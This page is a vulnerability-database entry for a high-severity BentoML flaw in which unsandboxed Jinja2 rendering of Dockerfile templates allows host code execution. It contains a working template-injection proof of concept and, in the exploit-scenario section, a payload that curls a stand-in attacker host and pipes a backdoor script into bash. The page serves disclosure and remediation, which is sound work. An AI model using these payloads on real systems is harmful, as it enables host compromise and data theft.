Python
CVE-2026-35044
HIGH
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionNVD
Summary
The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.
Details
The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)This creates an unsandboxed jinja2.Environment with two dangerous extensions:
jinja2.ext.do- enables{% do %}tags that execute arbitrary Python expressionsjinja2.ext.debug- exposes internal template engine state
Attack path:
- Attacker builds a bento with
dockerfile_templateset inbentofile.yaml. Duringbentoml build,DockerOptions.write_to_bento()(build_config.py:272-276) copies the template file into the bento archive atenv/docker/Dockerfile.template:
if self.dockerfile_template is not None:
shutil.copy2(
resolve_user_filepath(self.dockerfile_template, build_ctx),
docker_folder / "Dockerfile.template",
)- Attacker exports the bento as a
.bentoor.tar.gzarchive and distributes it (via S3, HTTP, direct sharing, etc.). - Victim imports the bento with
bentoml import bento.tar- no validation of template content is performed. - Victim containerizes with
bentoml containerize. Theconstruct_containerfile()function (__init__.py:198-204) detects the template and sets the path:
docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"generate_containerfile()(generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
user_templates = os.path.basename(user_templates)
TEMPLATES_PATH.append(dir_path)
environment = ENVIRONMENT.overlay(
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
)
template = environment.get_template(
user_templates,
globals={"bento_base_template": template, **J2_FUNCTION},
)
# ...
return template.render(...)
# <-- SSTI executes here, on the HOSTCritical distinction: Commands in docker.commands or docker.post_commands execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, *before* Docker is invoked. This bypasses all container isolation.
PoC
Step 1: Create malicious template evil.j2:
{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}Step 2: Create bentofile.yaml referencing the template:
service: 'service:MyService'
docker:
dockerfile_template: ./evil.j2Step 3: Attacker builds and exports:
bentoml build
bentoml export myservice:latest bento.tarStep 4: Victim imports and containerizes:
bentoml import bento.tar
bentoml containerize myservice:latestStep 5: Verify host code execution:
cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...The SSTI payload executes on the host during template rendering, before any Docker container is created.
Standalone verification that the Jinja2 Environment allows code execution:
python3 -c "
from jinja2 import Environment
env = Environment(extensions=['jinja2.ext.do'])
t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\")
t.render()
"
# Output: SSTI_WORKSImpact
An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:
- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)
- Ability to install backdoors or pivot to other systems
- Access to environment variables containing secrets (API keys, database credentials)
- Potential supply chain compromise if the victim's machine is a CI/CD runner
The attack is particularly dangerous because:
- Users may reasonably expect
bentoml containerizeto be a safe build operation - The malicious template is embedded inside the bento archive and not visible without manual inspection
- Execution happens on the host, not inside a Docker container, bypassing all isolation
Recommended Fix
Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.
In src/bentoml/_internal/container/generate.py, change lines 155-157:
# Before (VULNERABLE):
from jinja2 import Environment
# ...
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
# After (FIXED):
from jinja2.sandbox import SandboxedEnvironment
# ...
ENVIRONMENT = SandboxedEnvironment(
extensions=["jinja2.ext.loopcontrols"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)Additionally, review the second unsandboxed Environment in build_config.py:499-504 which also uses jinja2.ext.debug:
# build_config.py:499 - also fix:
env = jinja2.sandbox.SandboxedEnvironment(
variable_start_string="<<",
variable_end_string=">>",
loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),
)AnalysisAI
Remote code execution in BentoML's containerization workflow allows attackers to execute arbitrary Python code on victim machines by distributing malicious bento archives containing SSTI payloads. When victims import a weaponized bento and run 'bentoml containerize', unsanitized Jinja2 template rendering executes attacker-controlled code directly on the host system - bypassing all Docker container isolation. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Victim must import a malicious bento archive and execute `bentoml containerize` command. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This vulnerability presents significant real-world risk despite requiring user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker creates a seemingly legitimate BentoML service for a popular ML model (e.g., sentiment analysis API) and crafts a malicious Dockerfile.template containing SSTI payload: {% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('curl attacker.com/$(hostname)/$(whoami) && curl attacker.com/backdoor.sh|bash') %}. They build the bento, export it as sentiment-model.tar, and share it via a public S3 bucket or ML model repository with enticing documentation. … |
| Remediation | Apply the vendor-released patch by upgrading to the fixed BentoML version specified in the GitHub Security Advisory at https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all BentoML deployments and document current versions in use. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Unauthenticated server-side request forgery in Tautulli versions prior to 2.17.1 allows remote attackers to coerce the T
Path traversal in NASA AMMOS AIT-Core's Binary Stream Capture (BSC) component allows unauthenticated remote attackers to
Authentication bypass in dhax/go-base Go REST API boilerplate (versions prior to commit cc82b974, merged May 17, 2026) a
Remote code execution in Tautulli versions prior to 2.17.1 allows attackers to achieve unauthenticated RCE on fresh inst
Stored cross-site scripting in Tautulli before 2.17.1 allows low-privilege authenticated users (including guests when gu
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-v959-cwq9-7hr6